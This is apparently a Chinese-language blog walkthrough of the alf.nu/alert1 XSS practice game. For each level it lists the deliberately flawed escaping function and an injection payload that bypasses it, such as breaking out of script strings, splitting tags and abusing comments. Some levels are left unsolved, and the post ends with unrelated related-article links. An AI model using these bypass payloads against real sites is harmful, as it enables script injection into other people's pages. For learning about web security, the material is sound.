看别人的答案做个一知半解,深感自己能力不足水平有限啊^_^!
 
Warmup
function escape(s) { 
    return '<script>console.log("'+s+'");</script>';
}
 
");alert(1)//
 
Adobe
function escape(s) {  
    s = s.replace(/"/g, '\\"');  
    return '<script>console.log("' + s + '");</script>';
}
我们发现过滤了 ”替换为\"
\");alert(1)//
 
JSON
function escape(s) {  
    s = JSON.stringify(s);  
    return '<script>console.log(' + s + ');</script>';
}
使用JSON.stringify()过滤 "被替换为\",  \被替换为\\
</script><script>alert(1)//
 
JavaScript
function escape(s) {  
    var url = 'javascript:console.log(' + JSON.stringify(s) + ')';  
    console.log(url);  
    var a = document.createElement('a');  
    a.href = url;  document.body.appendChild(a); 
    a.click();
}
 
%22),alert(1)//
 
Markdown
function escape(s) {  
    var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs  
    text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]  
    text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');  return text;
}
 
 
 
DOM
function escape(s) {
    // Slightly too lazy to make two input fields.  
    // Pass in something like "TextNode#foo"  
    var m = s.split(/#/);
 
    // Only slightly contrived at this point.  
    var a = document.createElement('div');  
    a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));  
    return a.innerHTML;
}
 
Comment#><script>alert(1)</script><!
 
 
Callback
function escape(s) {
    // Pass inn "callback#userdata"  
    var thing = s.split(/#/);
 
    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';  
    var obj = {'userdata': thing[1] };  
    var json = JSON.stringify(obj).replace(/</g, '\\u003c');  
    return "<script>" + thing[0] + "(" + json +")</script>";
}
'#';alert(1)//
 
Skandia
function escape(s) {  return '<script>console.log("' + s.toUpperCase() + '")</script>';}
 
</script><script src=data:text/html,%61%6c%65%72%74(1)>
 
Template
function escape(s) {  
    function htmlEscape(s) {    
        return s.replace(/./g, function(x) {       
            return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": ''' }[x] || x;       
     });
  }  
 
function expandTemplate(template, args) {    
    return template.replace(
        /{(\w+)}/g,
         function(_, n) {
            return htmlEscape(args[n]);
         });
  }
    return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}
 
 
JSON ][ 
function escape(s) {  
    s = JSON.stringify(s).replace(/<\/script/gi, '');  
    return '<script>console.log(' + s + ');</script>';
}
 
</scr</scriptipt><script>alert(1);//
 
 
Callback ][
function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/);
  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}
 
'#';alert(1);<!-->
 
 
Skandia ][
function escape(s) {
  if (/[<>]/.test(s)) return '-';
 
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
 
iframe 
function escape(s) {
  var tag = document.createElement('iframe');
 
  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // https://4i.am/?...raw=... just outputs whatever you pass in.
  //
  // Alerting from 4i.am won't count.
  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw='; + encodeURIComponent(s);
  window.WINNING = function() { youWon = true; };
  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}
????
name="youWon"
 
TI(S)M
function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }
  return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}
if(alert(1)/*<!--<script>
利用注释/**/ 注释掉代码中间的一个<script>使得头一个<script>向下寻找</script>闭合,其中的代码都被认为是JavaScript代码得到执行
 
JSON Ⅲ
function escape(s) {
  return s.split('#').map(function(v) {
      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.
      var json = JSON.stringify(v).replace(/<\//g, '<\\/');
      return '<script>console.log('+json+')</script>';
      }).join('');
}
if(alert(1)/*<!--<script>
 

XSS练习平台- https://alf.nu/alert1的更多相关文章

  1. 【CTF WEB】XSS-https://alf.nu/alert1

    XSS练习平台 https://alf.nu/alert1 Warmup 1");alert(1)// Adobe 1");alert(1)// JSON </script& ...

  2. xss练习,alf.nu/alert1,1-12

    觉得自己很菜,故找一些题来做,随便找了下.记一下通关攻略 https://alf.nu/alert1 第一关 题目:warmup function escape(s) { return '<sc ...

  3. 在线xss练习平台

    在线xss练习平台 HTTPS://ALF.NU/ALERT1 这个是只要能输出alert1就算赢. No.1第一个就很简单了,什么都没有过滤,只需要闭合前面的标签就可以执行xss了. 1 " ...

  4. 1.6 xss挑战平台练习

    ------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.x ...

  5. 搭建XSS测试平台

    XSS测试平台是测试XSS漏洞获取cookie并接收web页面的平台,XSS可以做js能做的所有事情,包括但不限于窃取cookie,后台增删文章.钓鱼.利用xss漏洞进行传播.修改网页代码.网站重定向 ...

  6. 微信公众平台HTTPS方式调用配置免费https服务器

    微信公众平台数据传输安全,提高业务安全性,公众平台将不再支持HTTP方式调用.避免影响正常使用中含有HTTP方式调用的服务,请开发者尽快调整,将现有通过HTTP方式调用的切换成HTTPS调用,平台将于 ...

  7. xss challenges平台学习

    虽然在很早之前就接触过xss,有一段时间还就着一本书研究过,但是始终没有实感,掌握的也不够系统,所以现在借着这几个平台再学习一遍 首先来玩一玩xss challenge平台 第一关:http://xs ...

  8. 百度站长平台HTTPS认证所遇到的坑

    坑1: 百度站长平台https认证失败,提示:请确保您网站的所有链接均支持https访问,且未使用不安全协议(如:SSL2.SSL3等协议). 解决办法: 1.  友情链接检查, 要检查所有的友情链接 ...

  9. 公共错误码 - 支付宝开放平台 https://opendocs.alipay.com/open/common/105806

    公共错误码 - 支付宝开放平台 https://opendocs.alipay.com/open/common/105806

随机推荐

  1. 对JavaScript 模块化的深入-----------------引用

     什么是模块化 好的代码模块分割的内容一定是很合理的,便于你增加减少或者修改功能,同时又不会影响整个系统.  为什么要使用模块 1.可维护性:根据定义,每个模块都是独立的.良好设计的模块会尽量与外部的 ...

  2. Spring@PostConstruct和@PreDestroy注解详解

    @PostConstruct注解使用 @PostConstructApi使用说明 The PostConstruct annotation is used on a method that needs ...

  3. MySQL初识数据库

    为什要用数据库 第一,将文件和程序存在一台机器上是很不合理的. 第二,操作文件是一件很麻烦的事 你可以理解为 数据库 是一个可以在一台机器上独立工作的,并且可以给我们提供高效.便捷的方式对数据进行增删 ...

  4. 【maven】【spring boot】【单元测试】 使用controller 执行单元测试类

    存在这样一个场景: 当项目启动时间过长,又没办法缩短的时候,写单元测试就是一个十分耗时的工作, 这工作不在于使用编写代码,而在于每次run junit test 都需要完整启动一次项目,白白浪费宝贵的 ...

  5. kdc 互信

    环境: 29.3.203.53(sysops00065017) 部署KDC Namnode Datanode,KDC负责TESTA.COM域的认证 29.3.203.54(sysops00065018 ...

  6. 【转载】详解CI、CD相关概念

    在软件的编译发布的过程中,经常能够看到CI.CD这样的词语.其实他们是专业的缩写短语,这里介绍下他们的概念和区别. 敏捷软件开发 敏捷软件开发,英文全称:Agile software developm ...

  7. Linux dd烧写系统

    虽然用dd指令烧写系统很简单,但是久而久之忘得也太快了,赶紧整理一下. .img 系统镜像 .iso U盘启动引导文件 1. 先来查看本机磁盘情况,打开Linux终端界面(快捷键Ctrl + Alt ...

  8. Nginx之核心结构体ngx_cycle_t

    1. ngx_listening_t 结构体 ngx_cycle_t 对象中有一个动态数组成员叫做 listening,它的每个数组元素都是 ngx_listening_t 结构体,而每个 ngx_l ...

  9. ES节点分析

    ES集群概念 集群 一个集群cluster由一个或者多个节点组成,具有相同的cluster.name,协同工作,分项数据和负载. 当有新的节点加入或者删除了一个节点时,集群回感知到并能够平衡数据. E ...

  10. Nginx在Linux安装详解及问题处理

    Linux编译安装 1.nginx 依赖于prce库,要先安装pcre. #yum install prce pcre-devel 2.下载解压nginx #cd /usr/local/src/ #w ...